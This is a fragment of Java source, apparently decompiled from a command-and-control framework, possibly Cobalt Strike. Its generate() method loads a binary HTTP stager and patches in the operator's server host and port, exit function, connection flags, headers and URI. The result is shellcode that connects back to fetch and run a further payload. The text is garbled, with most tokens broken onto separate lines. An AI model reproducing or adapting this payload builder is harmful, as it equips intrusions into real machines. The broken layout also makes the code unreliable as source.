@Override
/
/
stagers.GenericStager
public byte[] generate() {
try
{
/
/
resources
/
httpstager.
bin
InputStream resource
=
CommonUtils.resource(getStagerFile());
byte[] readAll
=
CommonUtils.readAll(resource);
String bString
=
CommonUtils.bString(readAll);
resource.close();
String
str
=
bString
+
getListener().getStagerHost()
+
(char)
0
;
Packer packer
=
new Packer();
packer.little();
packer.addShort(getListener().getPort());
/
/
teamserver ip
+
port
AssertUtils.TestPatchS(readAll,
4444
, getPortOffset());
String replaceAt
=
CommonUtils.replaceAt(
str
, CommonUtils.bString(packer.getBytes()), getPortOffset());
Packer packer2
=
new Packer();
packer2.little();
packer2.addInt(ReflectiveDLL.EXIT_FUNK_PROCESS);
AssertUtils.TestPatchI(readAll, ReflectiveDLL.EXIT_FUNK_PROCESS, getExitOffset());
String replaceAt2
=
CommonUtils.replaceAt(replaceAt, CommonUtils.bString(packer2.getBytes()), getExitOffset());
Packer packer3
=
new Packer();
packer3.little();
packer3.addShort(getStagePreamble());
AssertUtils.TestPatchS(readAll,
5555
, getSkipOffset());
String replaceAt3
=
CommonUtils.replaceAt(replaceAt2, CommonUtils.bString(packer3.getBytes()), getSkipOffset());
Packer packer4
=
new Packer();
packer4.little();
packer4.addInt(getConnectionFlags());
AssertUtils.TestPatchI(readAll, isSSL() ?
-
2069876224
:
-
2074082816
, getFlagsOffset());
String replaceAt4
=
CommonUtils.replaceAt(replaceAt3, CommonUtils.bString(packer4.getBytes()), getFlagsOffset());
if
(CommonUtils.isin(CommonUtils.repeat(
"X"
,
Property
.VOLUME), replaceAt4)) {
replaceAt4
=
CommonUtils.replaceAt(replaceAt4, getConfig().pad(getHeaders()
+
(char)
0
,
Property
.VOLUME), replaceAt4.indexOf(CommonUtils.repeat(
"X"
,
127
)));
}
return
CommonUtils.toBytes(CommonUtils.replaceAt(replaceAt4, getConfig().pad(getURI()
+
(char)
0
,
79
), replaceAt4.indexOf(CommonUtils.repeat(
"Y"
,
79
),
0
))
+
getConfig().getWatermark());
} catch (IOException e) {
MudgeSanity.logException(
"HttpStagerGeneric: "
+
getStagerFile(), e, false);
return
new byte[
0
];
}
}